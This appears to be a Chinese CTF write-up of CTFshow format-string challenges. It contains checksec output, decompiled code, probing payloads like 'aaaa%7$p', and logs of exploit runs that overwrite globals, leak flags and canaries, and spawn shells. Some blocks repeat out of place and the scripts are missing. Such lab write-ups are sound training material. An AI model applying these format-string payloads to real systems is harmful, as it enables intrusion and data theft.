$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位关闭PIE,部分开启RELRO
IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { init(&argc); logo(); ctfshow(); if ( daniu == 6 ) { puts("daniu praise you for a good job!"); system("/bin/sh"); } return0; }
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* rhea rhea daniu now is :0!
但是当我们输入特殊的格式字符时候会输出特定的内容:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* %p 0xffcd2f0c daniu now is :0!
后续知识在下面会讲解,接着回到这题,我们看一下daniu:
.bss:0804B038 public daniu .bss:0804B038 daniu dd ? ; DATA XREF:
daniu的地址为:0x804B038
可以看到daniu在bss段,测一下格式化字符串的偏移:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x AAAA-fff9d7ec-50-804870a-46-e97b5d40-fff9d828-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78 daniu now is :0!
A的 ASCII 码是 0x41,所以偏移为7
进行验证一下:
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* aaaa%7$p aaaa0x61616161 daniu now is :0! $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* aaaa%7$x aaaa61616161 daniu now is :0!
$ python3 exp.py [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* \xaca8\xb0\x04\x08 daniu now is :6! daniu praise you for a good job! $ ls ctfshow_flag
pwn92
Hint:可能上一题没太看懂?来看下基础吧
先运行一下程序:
$ chmod +x pwn $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Look at the difference ! * ************************************* Here is some example: Hello CTFshow % Hello CTFshow! Num : 114514 Format Strings A Hello A Hello! Strings Format
Enter your format string: rhea The flag is :rhea
检查保护:
$ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
64位保护全开
IDA查看main函数:
int __fastcall main(int argc, constchar **argv, constchar **envp) { init(argc, argv, envp); logo(); puts("Here is some example:"); example(); flagishere(); return0; }
v4 = __readfsqword(0x28u); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); printf("Enter your format string: "); __isoc99_scanf("%9s", format); printf("The flag is :"); printf(format, s); return __readfsqword(0x28u) ^ v4; }
这里我们可以看到使用用户输入的格式化字符串将 s 输出,那么我们如果需要获取flag,仅仅需要使用 %s 输出flag字符串即可获取flag【当用户输入的 format 是 "%s"时,程序中执printf(format, s)就等价于直接调用printf("%s", s),%s会指示读取第二个参数(即 flag 所在的地址)。】
$ python3 exp.py [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Look at the difference ! * ************************************* Here is some example: Hello CTFshow % Hello CTFshow! Num : 114514 Format Strings A Hello A Hello! Strings Format \xa4 Enter your format string: The flag is :flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn93
Hint:emmm,再来一道基础原理?
检查保护:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
$ ./pwn Enter your choice: 3 AAAA.0x3.0xfffffffffffff7fe.(nil).0xa.(nil).0x7fffa2218160.0x616f63000cf0.0x3a2218240.0xd8f9c09f22b8af00.0x7fffa2218200.0x707d328b51ca.0x7fffa22181b0
$ python3 exp1.py [+] Starting local process './pwn': pid 156 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes [*] Switching to interactive mode $ ls ctfshow_flag
pwn95(ubutu18)
Hint:加大了一点点难度,不过对你来说还是so easy 吧
检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : This time program no system ! * ************************************* aaaa%p-%p-%p-%p-%p-%p-%p-%p aaaa0xfff1d608-0x64-0x80486ba-0x18-0xf3128fe8-0x61616161-0x252d7025-0x70252d70
$ ./pwn It's time to learn about format strings! Where is the flag? $ %p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 0x40-0xeac9b5c0-(nil)-(nil)-0xf63d4e2e-0x67616c66-0x73756a7b-0x65745f74-0x6d5f7473-0x72705f79-0x7365636f-0xa7d73-0x1-0xeacb1720-0x1-(nil)
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* aaaa%7$p aaaa0x61616161 daniu now is :0! $ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Very Ez ! * ************************************* aaaa%7$x aaaa61616161 daniu now is :0!
p_argc = &argc; v5 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); puts(asc_8048A64); puts(asc_8048AD8); puts(asc_8048B54); puts(asc_8048BE0); puts(asc_8048C70); puts(asc_8048CF4); puts(asc_8048D88); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Format_String "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : Find a way to elevate your privileges! "); puts(" * ************************************* "); puts("You can use two command('cat /ctfshow_flag' && 'shutdown')"); putchar(36); fgets(s, 64, stdin); if ( strstr(s, "shutdown") ) { puts("See you~"); exit(1); } if ( !strstr(s, "cat /ctfshow_flag") ) { puts("Here you are:\n"); printf(s); } get_flag(); return0; }
可以看到有一个明显的格式化字符串漏洞,跟进get_flag函数:
intget_flag() { if ( !check ) returnputs("Permission denied."); puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag"); return flag(); }
v3 = __readgsdword(0x14u); stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory"); exit(0); } fgets(s, 48, stream); printf("%s", s); return0; }
那么很明显,我们利用格式化字符串漏洞的任意地址写改写check的值即可满足条件。
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Find a way to elevate your privileges! * ************************************* You can use two command('cat /ctfshow_flag' && 'shutdown') $aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p Here you are:
$ python3 exp.py [+] Starting local process './pwn': pid 50 [*] Switching to interactive mode [*] Process './pwn' stopped with exit code 0 (pid 50) * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Find a way to elevate your privileges! * ************************************* You can use two command('cat /ctfshow_flag' && 'shutdown') $Here you are:
caa@\xb0\x04\x08 Your privileges have been elevated to 'root'. #cat /ctfshow_flag flag{just_test_my_process} [*] Got EOF while reading in interactive
pwn98
Hint:Canary?有没有办法绕过呢?
检查保护:
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
int _stack_check() { puts("you_find_me_but_I_have_canary_protect_me!"); return system("/bin/sh"); }
利用格式化字符串漏洞的任意读,由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p/%x等当作一个数来读,计算好偏移,将 Canary 填入到相应的溢出位置,实现 ret 到后门函数中
$ ./pwn * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Format_String * Site : https://ctf.show/ * Hint : Find the vulnerability and then exploit it ! * ************************************* aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaa-0x804b000-0xe9fcbe34-0x8048716-0xffb56698-0x61616161-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
v4 = __readfsqword(0x28u); puts("Hello my bro."); printf("What time is it :"); _isoc99_scanf("%ld", &v1); _isoc99_scanf("%ld", &v2); _isoc99_scanf("%ld", &v3); printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3); return __readfsqword(0x28u) ^ v4; } //没啥用
pwndbg> b fmt_attack pwndbg> r Hello my bro. What time is it :2025 8 15 Ok! time is 2025:8:15 1. leak 2. fmt_attack 3. get_flag 4. exit >>2. fmt_attack
pwndbg> b fmt_attack pwndbg> r Hello my bro. What time is it :2025 8 15 Ok! time is 2025:8:15 1. leak 2. fmt_attack 3. get_flag 4. exit >>2. fmt_attack